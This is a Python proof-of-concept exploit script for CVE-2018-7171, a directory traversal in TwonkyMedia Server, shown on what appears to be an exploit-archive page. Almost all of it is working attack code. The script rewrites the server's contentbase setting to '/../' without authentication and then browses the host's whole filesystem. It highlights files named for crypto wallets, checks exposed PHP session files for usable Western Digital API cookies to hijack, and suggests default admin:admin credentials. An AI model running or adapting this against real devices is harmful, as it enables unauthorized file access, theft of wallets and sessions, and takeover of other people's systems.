4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / twonky.py PY
#!/usr/bin/python
# -*- coding: utf-8 -*-
'''
* ------------------------------------------------------------------------------
 *
 * This file is part of: TwonkyMedia Server 7.0.11-8.5 Directory Traversal CVE-2018-7171
 *
 * ------------------------------------------------------------------------------
 *
 * BSD 3-Clause License
 *
 * Copyright (c) 2018, Sven Fassbender
 * Author: Sven Fassbender
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * * Redistributions of source code must retain the above copyright notice, this
 *   list of conditions and the following disclaimer.
 *
 * * Redistributions in binary form must reproduce the above copyright notice,
 *   this list of conditions and the following disclaimer in the documentation
 *   and/or other materials provided with the distribution.
 *
 * * Neither the name of the copyright holder nor the names of its
 *   contributors may be used to endorse or promote products derived from
 *   this software without specific prior written permission.
 *
 * * NON-MILITARY-USAGE CLAUSE
 *   Redistribution and use in source and binary form for military use and
 *   military research is not permitted. Infringement of these clauses may
 *   result in publishing the source code of the utilizing applications and
 *   libraries to the public. As this software is developed, tested and
 *   reviewed by *international* volunteers, this clause shall not be refused
 *   due to the matter of *national* security concerns.
 *  
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * ------------------------------------------------------------------------------
'''
try:
	import urllib3
	import sys
	import socket
	import requests
	from colorama import init, Fore
except:
	print "Missing dependencies. Run 'sudo pip install -r requirements.txt'"

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)

# Extend KEYWORDS, list if you want. This will highlight files and directory names that include a keyword.
KEYWORDS = ["CRYPTO", "CRIPTO", "BITCOIN", "WALLET"]
def keywordDetector(line):
        for keyword in KEYWORDS:
                if line.upper().find(keyword) != -1:
                        return True
        return False
def checkPort(host, port):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
                s.connect((host,int(port)))
                s.settimeout(2)
                s.shutdown(2)
                return True
        except:
                return False

# Patch the contentbase parameter
def setContentBase(host, port):
        payload = "\ncontentbase=/../\n"
        url = "http://{0}:{1}/rpc/set_all".format(host, port)
        try:
                response = requests.post(url, data=payload, timeout=5)
        except requests.exceptions.ReadTimeout:
                print (Fore.RED + "*** Timeout while setting contentbase path to '/' ***")
        except requests.exceptions.ChunkedEncodingError:
                print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
                sys.exit()
        except requests.exceptions.ConnectionError:
                url = "https://{0}:{1}/rpc/set_all".format(host, port)
                response = requests.post(url, data=payload, timeout=5, verify=False)
        if response.status_code != 200:
                print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
                print (Fore.YELLOW + "*** You should try to login with admin:admin (default creds) ***")
                sys.exit()
        else:
                print (Fore.MAGENTA + "*** 'contentbase' path set to '/../' ***")
                return True

# Get some information about the target device
def serverInfo(host, port):
        print (Fore.MAGENTA + "*** Get Serverdetails from Twonky ***")
        try:
                url = "http://{0}:{1}/rpc/get_friendlyname".format(host, port)
                friendlyname = requests.get(url, timeout=5)
        except requests.exceptions.ConnectionError:
                url= "https://{0}:{1}/rpc/get_friendlyname".format(host, port)
                friendlyname = requests.get(url, timeout=5, verify=False)
        if friendlyname.status_code == 200:
                print (Fore.GREEN + "Server Name: {0}".format(friendlyname.text))
        else:
                print (Fore.RED + "*** Not authorized to edit settings, password protection active ***")
                sys.exit()
        try:
                url = "http://{0}:{1}/rpc/info_status".format(host, port)
                infoStatus = requests.get(url, timeout=5)
        except requests.exceptions.ConnectionError:
                url = "https://{0}:{1}/rpc/info_status".format(host, port)
                infoStatus = requests.get(url, timeout=5, verify=False)
        for line in infoStatus.iter_lines():
                if line :
                        if line.find("version") != -1:
                                lineSplited = line.split("|")
                                versionNumber = lineSplited[1]
                                print (Fore.GREEN + "Twonky Version: {0}".format(versionNumber))
                        elif line.find("serverplatform") != -1:
                                lineSplited = line.split("|")
                                serverPlatform = lineSplited[1]
                                print (Fore.GREEN + "Serverplatform: {0}".format(serverPlatform))
                        elif line.find("builddate") != -1:
                                lineSplited = line.split("|")
                                buildDate = lineSplited[1]
                                print (Fore.GREEN + "Build date: {0}".format(buildDate))
                        elif line.find("pictures") != -1:
                                lineSplited = line.split("|")
                                pictureCount = lineSplited[1]
                                print (Fore.GREEN + "Pictures shared: {0}".format(pictureCount))
                        elif line.find("videos") != -1:
                                lineSplited = line.split("|")
                                videoCount = lineSplited[1]
                                print (Fore.GREEN + "Videos shared: {0}".format(videoCount))
        return versionNumber

# Check if the discovered Cookie is a valid PHP Session identifier for WD api
def checkSessionCookie(host, cookieString):
        url = "http://{0}/api/2.1/rest/device_user".format(host)
        cookieTemp = cookieString.split("_")
        cookie = {'PHPSESSID': cookieTemp[1]}
        response = requests.get(url, timeout=10, cookies=cookie)
        if response.status_code == 200:
                return cookie
        else:
                return False

# Function for browsing
def browser(host, port, version):
        while True:
                var = raw_input("path nr: ")
                if var != "exit" :
                        if version[0] == "8":
                                url = "http://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
                        else:
                                url = "http://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
                        try:
                                response = requests.get(url, timeout=5)
                        except requests.exceptions.ConnectionError:
                                if version[0] == "8":
                                        url = "https://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
                                else:
                                        url = "https://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
                                response = requests.get(url, timeout=5, verify=False)
                        print "-" * 30
                        validCookieString = ""
                        for line in response.iter_lines():
                                if line :
                                        if len(line) > 3:
                                                if line[3] == "D":
                                                        line = line[:4].replace("D", " Dir ") + line[4:]
                                                        if keywordDetector(line[4:]):
                                                                print (Fore.RED + line)
                                                        else:
                                                                print (Fore.GREEN + line)
                                                elif line[3] == "F":
                                                        line = line[:4].replace("F", " Fil ") + line[4:]
                                                        if keywordDetector(line[4:]):
                                                                print (Fore.RED + line)
                                                        elif line[8:13] == "sess_":
                                                                print line
                                                                validCookie = checkSessionCookie(host, line[8:])
                                                                if validCookie != False:
                                                                        validCookieString = validCookie
                                                        else:
                                                                print line
                                                else:
                                                        print line
                        if len(validCookieString) >= 1:
                                print (Fore.RED + "Valid WD cookie discovered: {0}".format(validCookieString))
                        print "-" * 30
                elif var == "exit":
                        sys.exit()

#*** Program start here ***
if __name__ == '__main__':
        if len(sys.argv) != 3:
                print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
        else:
                host = sys.argv[1]
                print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host))
                port = sys.argv[2]
                if checkPort(host, port):
                        print (Fore.GREEN + "*** Port {0} opened ***".format(port))
                        twonky = raw_input("Run Twonky browser on port {0} [Y, N]? [Y] ".format(port))
                        if twonky.upper() != "N":
                                version = serverInfo(host, port)
                                if setContentBase(host, port):
                                        browser(host, port, version)